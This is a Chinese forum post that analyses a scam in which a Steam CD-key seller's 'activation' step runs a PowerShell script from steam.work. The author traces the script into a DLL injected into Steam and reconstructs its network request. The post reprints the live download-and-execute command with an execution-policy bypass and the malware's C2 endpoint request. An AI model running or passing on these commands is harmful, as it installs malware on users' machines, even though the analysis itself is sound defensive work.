找回密码
 立即注册
搜索
查看: 197|回复: 0

关于 steam.work 激活码诈骗脚本的分析

[复制链接]

48

主题

0

回帖

1578

积分

管理员

积分
1578
发表于 2025-2-19 10:02:21 | 显示全部楼层 |阅读模式
刚刚去买了个 cdkey 准备送给朋友,结果一看发货介绍感觉有点不对劲:% |* q1 a( \) C/ S7 [5 w
# O. I* \% O: W
6 w6 X6 }# A, R7 [( D& @$ ]: V+ U1 I; g/ Z
啥啊,irm iex 这不是经典的从网络获取脚本并执行的操作吗,怎么领个激活码还要搞这?
6 T' u; ~% P3 q$ _" [" @& r
5 s) |+ {& w+ l4 F% W我一开始还以为是自动安装加速器,商家还怪好的捏,直到我激活不了,把这脚本拉下来看了看:' U$ O! ?, T7 B# A1 f! W. {

' \, J  x! M+ R4 B+ t( `好家伙 这玩意整了个极其有欺骗性的东西,因为powershell的多行注释正好是<# #>,正好 HTML 文件的开头是 <!DOCTYPE html> 这鸟人给他改成 <#!DOCTYPE html> 就变成 powershell 的注释了.. 我都差点没看出来..网页还做了 UA 判断和跳转,真是够阴损
% R& h, ]0 l; f* y8 `3 ]1 d! O! T1 N  l5 D( V" `
那么真实的代码就只剩两行了:
1 Z% \; W( ?( M0 V[PowerShell] 纯文本查看 复制代码
3 _: R/ E/ i6 K2 v6 A0 B3 ??& k! S) D2 J# h1 {
1) `1 B1 J8 X& ^/ Z8 ~
26 }, r7 S, u3 V$ ^
irm steam.work/pwsDwFile/new1 -OutFile x.ps1
0 c. C3 }4 }/ Qpowershell.exe -ExecutionPolicy Bypass -File x.ps1;
5 C+ M, x5 B6 j  T
: `3 H" J: K: i' h/ }$ u- W; M- z
- z3 G  `- N/ E/ }: e
9 v7 {3 d# S8 d0 C3 f! O; Q
: u% b. A+ k5 b' a" j- f1 i( ]

9 A% r$ r3 H* [; Q/ K- [0 S+ }
" n( a3 F- K. C看得出来,又是下脚本...我们把这玩意也下下来看一眼:
5 g: {: n" z1 f5 f3 y6 U: ~  ?( l4 G6 I, u! p' X
我怎么兑换个激活码你还给我注入上 Steam了!有病啊!  c7 u7 S' N2 A3 }+ [) }0 q5 `
那么我们便不得不好奇一下注入的文件里到底干了啥呢,我们下下来拖进静态分析,但是里面几乎啥都没有,只有两个有意思的地方:
1 ?5 w- A8 b; b" u3 Y' J% W7 r1. 把危险函数 VirtualAlloc 等 伪装成普通函数:
3 y7 V* z  ~7 I6 @: ?
' @9 ?+ ^* ]: R2 V& j; X2. 里面有 zlib.inflate (图里打错了)
- E' a0 Y4 L( }$ x& z; X/ H$ Q6 B% Q; P  {7 m$ Q

& _$ O6 s! G3 F2 `, w看上去他是在尝试现场解压某种payload来执行啊!我们直接开一个 Windows Sandbox 来动态调试一下:1 ]: S* f( F) f6 z! |$ k% T
打开 x32dbg,在 zlib.inflate处打断点,很容易就拿到解压出的东西$ p  o5 a& j& C) p! u
% x% M- z% v* T' k
[eax + 0x4 * 3] -> 解压出缓冲区指针
0 D7 w9 i1 x9 L* U[eax + 0x4 * 5] -> 解压出数据长度
' m& n, ~8 }! w& ?
不看不知道,一看 MZ 开头,PE格式没跑了,直接一个 savefile 把它存下来,拖进 Binary Ninja$ N- [( F, P; w; c5 a- _
这个文件也有点诡异,有三个 .text 段里面两个都是空的,还有一个 XRef 几乎扫不出来...总之先看一眼 IAT:
0 n9 e. z) \% f1 n6 E
+ A* q8 V/ j$ L怎么还引用了一个 winsqlite 啊,看起来像是打算操作 Steam 的数据库?8 T. D% V9 b- J; }% M  u" o
" w9 Y, e9 F! ^. v
这里还有一些十足诡异的找不到引用的函数,看上去是加密的字符串9 y' y: s, S7 f2 m7 ?& @* H
* m  p4 T$ R, |, i4 d
(接前文)
9 a) N0 \/ M" D9 w# y( A7 p6 W那么自然我们现在应该给导出的仅有的几个函数打一下断点看看;首当其冲怀疑的就是这个网络函数6 _+ y# Q5 j4 ?: u, Q
直接先在该 dll 加载前打断点,暂停后在InternetOpenA打断点;发现有反调试检测,用 ScyllaHide Basic 轻松过掉8 L% C& R: [5 M2 a6 X
然后就断下来了,我们来看一眼5 b0 M: r) ]) L4 p
1 T9 I. V& m3 A) A0 D2 p( Z
直接找到病毒开始请求配置的地方和端点了,大收获啊;但是我们直接访问 http://api.steam.work/api/integral/vs ,他是返回 403 Unauthorized 的,看来可能有什么 UA,POST body之类的,继续下断点查一下4 C' S  q" j; o4 u- m' ]# w
InternetOpenA InternetConnectA HttpOpenRequestA HttpSendRequestA,成功还原整个请求:
# A# ~* t( ?& ]! }: r
7 ?% ^. y, q1 O; }! R8 m! s  \! P( t1 ~HTTP1.1 POST http://api.steam.work/api/integral/vs( }1 O. k/ [; J: d- X# Q. C
Referer: version
, v: @: q6 Y3 s  `& Q) cuser-agent: steam: x" k8 O8 d0 J/ D: F8 b
{"sign":"ckv"}8 L1 f# Y- r0 p
' p" ~8 @1 ]" o6 e/ s
' U# \6 v0 Z4 q

" [7 K( q7 ~5 e) X7 [$ y' U0 {7 D  g
返回值拿到手,只有一串不知道是什么的 hex;我们先再看看其他几个点+ v8 h; f+ M1 ]( k6 Y& [
sqlite这边下断点以后啥也没有,可能是激活的时候才会操作(我用的Windows Sandbox,不知道为什么打不开Steam……)# M0 {% l7 Q$ x# L

  r7 t" A  Y( [0 @( v0 p& z于是转移到一台实机上继续分析。9 z5 S  v% s7 P2 ~2 v3 ~

; ]; U/ e4 G- @# m4 M# Y

" k8 Y2 ~! |" T* x/ y8 }直接拿它给的虚假激活码来激活,可以直接断在 HTTP 请求点
/ A. `. t, C( a把请求掏出来看看:; x$ D4 v5 C  m9 b/ l

# D3 k6 M6 W" R" l' }8 q1 u  \' h# h看起来是成功了,返回一个 code 和一个 data;: s$ @# S4 v' K$ C# a- t
这个 ID 又是啥?
% ?4 _- n: @% c, i" K" M- L2 `
  t. |9 [" y8 y哦,哈迪斯的 App ID
8 X3 x9 [$ ~, l" F那么接着调试,在一通奇奇怪怪的网络请求之后,它下下来一个 8k 的文件到 steam 的目录里
* G: |& u: H: t, n; `6 T; SC:\Program Files (x86)\Steam\package\data2 O( \" A9 v( |2 U& u& z

* P' o/ U9 o8 e7 H/ ]这是干啥的呢?看看我们正常的 Steam 这里有什么...居然什么都没有!
/ G  P5 T2 W; Y' \那么就说明,这个文件是病毒专用的了;我们直接 ImHex 打开
' ]' ~5 _5 C- @/ C, `' [
/ k( ^. F0 p9 y' N( A居然是个数据库!怪不得他要链 winsqlite;那这个数据库里有啥?我们丢进查看器:- b2 H  n( ]' l' M! q
  t' |( ~) `4 z+ Q
有个appid,和两个不认识的hex;把键名拿去搜搜看:
( e: U5 y- f8 s/ I' ]  h; l2 m6 V' \4 g, e, k* s: M, z
5 ], y& l7 `/ b  u) C& ?2 x# F
原来是这样!这是一种叫做“清单入库”的已经广为流传的Steam免费入库方式,结果被不法商家用于欺诈消费者,十分恶劣!
9 s* L7 S, W1 u" o5 L+ B: y6 t
& Y% I: }: Q1 J  ~, Q7 }& h还有一些相关信息,大家可以自行查看→ https://github.com/pjy612/SteamManifestCache/discussions/374 https://github.com/pjy612/SteamManifestCache/wiki/DecryptionKey8 o+ `3 M) v; Z. A" w' k1 H' r2 a

$ m8 E; H% r3 {
- ?" I  ~; q  a# s% M

# k1 I" M) N% d2 x  l4 t' ?- {4 ~2 [
: Y0 W# j: B+ {. n/ Z

. D7 U% Y; ~5 v" _0 C2 q1 o: h/ V" O  u1 K2 E) o

$ P5 Y7 k4 w* D6 ]0 k5 U! Z9 w. X) a& {% d9 E) M7 w6 C6 z. V
) }1 ]: T6 _/ d! n5 w# w

# e( Z. v, I0 j; q$ o) [, g. s: {
, c6 E& T( W% `0 J* p" M
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|

GMT+8, 2026-8-5 10:19 AM , Processed in 0.120010 second(s), 23 queries .

Powered by xyh-moon X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表